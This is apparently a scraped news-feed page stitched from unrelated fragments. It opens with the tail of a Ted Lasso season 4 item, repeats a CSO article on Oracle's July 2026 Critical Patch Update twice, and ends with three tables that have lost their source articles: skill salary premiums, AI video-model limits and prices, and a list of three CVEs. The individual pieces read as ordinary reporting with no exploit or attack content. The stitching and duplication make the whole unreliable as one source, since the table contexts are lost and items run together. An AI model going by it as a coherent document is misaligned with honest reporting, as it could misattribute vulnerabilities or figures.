Although critics have not published reviews yet, people involved with the series have shared positive reactions behind the scenes. Brett Goldstein said the new season has some of the season 1 magic, and several others reportedly share the same opinion. Internal feedback also describes season 4 as considerably stronger than season 3, which received mixed reactions because of its longer episodes and production challenges.



Jason Sudeikis said he finally returned because he still had more stories to tell, and he believes Ted Lasso remains meaningful for both him and the audience. If season 4 performs well, the writers expect to begin planning a fifth season, with Sudeikis already thinking about another three-season story arc.


Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware
Wed, 22 Jul 2026 20:33:52 +0200

		
					  
						




Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).



These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,



No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.



Two critical flaws in Oracle Database Server



The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.



This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, Oracle said in the patch update statement. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.



The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.



Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”



Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.



“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.



A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.



CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.



Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.



There were also two critical flaws in Oracle’s TimesTen in-memory database.



The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.



Volume repair



Gogia said the volume itself marks a shift.



“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”



He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”



Third Tuesday, quarterly cycle



The July release is the third quarterly Critical Patch Update of 2026, and the first since the introduction in May of the monthly Critical Security Patch Update program.



Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.



“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”



Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”



Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.



“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.



Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.



Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.



This article first appeared on CSO.



Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware
Wed, 22 Jul 2026 20:24:17 +0200

		
					  
						




Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).



These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,



No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.



Two critical flaws in Oracle Database Server



The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.



This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, Oracle said in the patch update statement. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.



The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.



Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”



Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.



“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.



A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.



CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.



Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.



There were also two critical flaws in Oracle’s TimesTen in-memory database.



The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.



Volume repair



Gogia said the volume itself marks a shift.



“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”



He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”



Third Tuesday, quarterly cycle



The July release is the third quarterly Critical Patch Update of 2026, and the first since the introduction in May of the monthly Critical Security Patch Update program.



Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.



“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”



Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”



Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.



“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.



Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.



Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.

Skills	Salary Boost
ScrumMaster	44%
Microsoft Azure	30%
Supply Chain	27%
Oracle eBusiness Suite	25%
Master Data Management (SAP MDM)	24%
SAP Sales and Distribution (SAP SD)	24%
Product Support	18%
Microsoft Dynamics GP	18%
SAP Quality Management (SAP QM)	18%
Workday Software	15%

Model	Max single-generation duration	Max resolution	Key constraints	Price per 10-second clip (720p)	Price per 10-second clip (1080p)	Price per 10-second clip (4K)
FLUX 3 Video	20 seconds	Not stated; evaluations run at 720p	Early access; no published SLA or pricing	Not announced	Not announced	Not announced
HappyHorse 1.1	15 seconds	1080p	No 4K; closed weights	Not published (v1.0 reseller rate is ~$1.82)	Not published (v1.0 reseller rate is ~$3.12)	n/a
Veo 3.1	Per-second billing	4K	Supports clip extension; preview	$4.00	$4.00	$6.00
Veo 3.1 Fast	Per-second billing	4K	Preview	$1.00	$1.20	$3.00
Veo 3.1 Lite	Per-second billing	1080p	No 4K, no clip extension; preview	$0.50	$0.80	n/a
Gemini Omni Flash	10 seconds (3s minimum)	720p at 24 FPS	Preview abd no EU access	$1.00	n/a	n/a

CVE	CVSS	Description	Affected Products	Exploitation Status
CVE-2026-16232	Vendor: 9.3 (Critical) CISA: 9.1 (Critical)	Authentication bypass via SmartConsole application token	Security Management, Multi-Domain Management	Exploited in the wild
CVE-2026-62144	Vendor: 9.3 (Critical) CISA: 9.1 (Critical)	Management authentication bypass and privilege escalation	Security Management, Multi-Domain Management	No known exploitation
CVE-2026-62145	7.5 (High)	Local privilege escalation in GaiaOS WebUI	Firewall, Multi-Domain Management, Multi-Domain Log Server	No known exploitation